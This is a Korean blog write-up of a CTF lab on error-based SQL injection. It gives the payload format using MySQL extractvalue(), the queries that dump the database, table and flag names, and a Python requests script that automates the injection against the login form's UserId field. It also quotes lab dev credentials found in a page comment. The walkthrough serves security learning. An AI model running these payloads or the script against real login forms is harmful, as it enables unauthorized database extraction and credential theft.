일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | ||||||
2 | 3 | 4 | 5 | 6 | 7 | 8 |
9 | 10 | 11 | 12 | 13 | 14 | 15 |
16 | 17 | 18 | 19 | 20 | 21 | 22 |
23 | 24 | 25 | 26 | 27 | 28 |
- union sql injection
- sql injection point
- Los
- JS
- 세션
- Reflected Xss
- CTF
- 로그인페이지
- cookie 탈취
- Cross Site Request Forgery
- 과제
- lord of sqli
- JWT
- 쿠키
- 로그인
- blind sql injection
- 모의해킹
- 게시판 만들기
- sql injection
- csrf
- 웹개발
- file upload
- Python
- cors
- MySQL
- css
- php
- Error based sql injection
- XSS
- lord of sql injection
- Today
- Total
Almon Dev
ctf 풀이 (SQL Injection 3) 본문
ctf 문제 풀이
SQL Injection 3
풀이
1> UNION SQLi 확인
normaltic/1234로 로그인을 해봅니다.
로그인에 성공하면 닉네임이 출력되는 마이페이지가 나옵니다.
=> 데이터가 화면에 출력되므로 UNION SQLi가 가능해 보입니다.
아이디 입력창은 SQLi가 가능하고, 비밀번호는 불가능합니다. => 식별 인증 분리
column의 개수는 2개인 것을 확인하고 union select를 시도해 보았으나 실패했습니다.
비밀번호를 해시화해서 저장하는 것 같습니다.
이 경우 해시의 알고리즘을 모른다면 union sqli로 로그인을 우회하는 것은 힘들어 보입니다.(md5, sha256 X)
2> Error Based SQLi 확인
normaltic'를 이용해 syntax에러를 발생시키니 에러가 화면에 출력됩니다. => Error Based SQLi 가능
3> 에러를 출력할 함수 선택
에러 메시지를 통해서 서버에서 사용하는 db가 mysql이라는 것을 알아냈습니다.
mysql에서 error based sqli에 사용되는 함수인 extractvalue()를 이용하기로 했습니다.
4> 공격 format 만들기
예상 SQL 문 : select nickname, password from member where id='__user_input__'
UserId : normaltic' and extractvalue('1', ':test') and '1' ='1
=> select nickname, password from member where id='normaltic' and extractvalue('1', ':test') and '1' ='1'
extractvalue를 이용해서 로직에러를 발생시켜 에러 메시지로 :test를 출력했습니다.
Select가 가능한지 확인하기 => 필터링 안됨
UserId : normaltic' and extractvalue('1', concat(':', (select ___))) and '1' ='1
concat을 이용해서 select문에서 나오는 문자열의 앞에 :을 붙여줍니다.
=> extractvalue의 두 번째 인자는 XML 표현식이 오는 자리인데 :는 예약된 문자이기에 에러가 발생합니다.
5> DB 명 추출하기
format : normaltic' and extractvalue('1', concat(':', (select ___))) and '1' ='1
sql : select database()
=> DB 명 : sqli_2
6> Table 명 추출하기
format : normaltic' and extractvalue('1', concat(':', (select ___))) and '1' ='1
sql : select table_name from information_schema.tables where table_schema='sqli_2' limit 0,1
=> Table 명 : flag_table, member
7> Column 명 추출하기
format : normaltic' and extractvalue('1', concat(':', (select ___))) and '1' ='1
sql : select column_name from information_schema.columns where table_schema='sqli_2' and table_name='flag_table' limit 0,1
=> flag_table Column 명 : flag
8> 데이터 추출하기
format : normaltic' and extractvalue('1', concat(':', (select ___))) and '1' ='1
sql : select flag from flag_table limit 0,1
풀이 (Python)
강사님이 보여주신 python으로 sql을 입력하면 자동으로 삽입해 주는 스크립트를 만들어봤습니다.
error_based_sqli.py
import requests
url = input("URL : ")
method = input("1: POST \n2: GET \nMethod : ")
proxies = {
"http": "http://localhost:8080"
}
if method == '1':
while(True):
sql = input("SQL : ")
format = f"normaltic' and extractvalue('1', concat(':', ({sql}))) and '1' ='1"
headers = {
"Content-Type": "application/x-www-form-urlencoded",
}
data = {
'UserId' : format,
'Password' : '1234',
'Submit' : 'Login',
}
response = requests.post(url, data=data, headers=headers)
# print(response.text)
text = response.text
# print(text)
try:
result = text.split("XPATH syntax error: ")[1].replace("'", "").replace(":", "")
print("\rResult : ", result, "\n")
except:
result = text.split("<!-- dev Account : mario / mariosuper -->")[1].replace("\n", "")
print(result, "\n")
elif method == '2':
pass
import requests
url = input("URL : ")
method = input("1: POST \n2: GET \nMethod : ")
proxies = {
"http": "http://localhost:8080"
}
웹 요청을 위한 requests 모듈을 import 하고, url과 method를 유저로부터 입력받습니다.
proxies는 중간에 에러가 생길 때 요청과 응답을 보기 위해서 버프스위트와의 연결을 위해 만들어두었습니다.
if method == '1':
while(True):
sql = input("SQL : ")
format = f"normaltic' and extractvalue('1', concat(':', ({sql}))) and '1' ='1"
post 메서드일 경우 실행할 sql을 입력받고 format을 생성합니다.
headers = {
"Content-Type": "application/x-www-form-urlencoded",
}
data = {
'UserId' : format,
'Password' : '1234',
'Submit' : 'Login',
}
response = requests.post(url, data=data, headers=headers)
post data에 UserId라는 이름의 파라미터에 format을 삽입합니다.
=> Submit 파라미터를 보내지 않는다면 로그인이 시도되지 않습니다.
=> php) if (isset($_POST ['Submit']))을 사용하는 것으로 예상됩니다.
requests.post를 이용해 요청을 보내고 응답을 response에 저장합니다.
text = response.text
try:
result = text.split("XPATH syntax error: ")[1].replace("'", "").replace(":", "")
print("\rResult : ", result, "\n")
text에 응답값을 문자열로 넣고 try문에서 XPATH syntax error: 으로 split합니다.
error based sqli를 성공적일때 응답값이 'XPATH syntax error: 이고
실패시 XPATH syntax error:가 존재하지 않으므로 except를 통해 따로 처리해줍니다.
XPATH syntax error: 이후의 문자열중에서 '와 :를 제거한 select문의 응답값만 파싱해서 result에 대입합니다.
결과를 출력합니다.
except:
result = text.split("<!-- dev Account : mario / mariosuper -->")[1].replace("\n", "")
print(result, "\n")
sqli가 실패했을때는 <!-- dev Account : mario / mariosuper -->로 split을 합니다.
syntax 에러메시지나 빈칸이 출력되게 됩니다.
'모의해킹 > 모의해킹' 카테고리의 다른 글
ctf 풀이 (SQL Injection 5) (0) | 2024.11.30 |
---|---|
ctf 풀이 (SQL Injection 4) (0) | 2024.11.30 |
모의해킹 공부 7주차 (SQL Injection) (0) | 2024.11.29 |
ctf 풀이 ( SQL Injection 2 ) (1) | 2024.11.24 |
ctf 풀이 (SQL Injection 1) (0) | 2024.11.23 |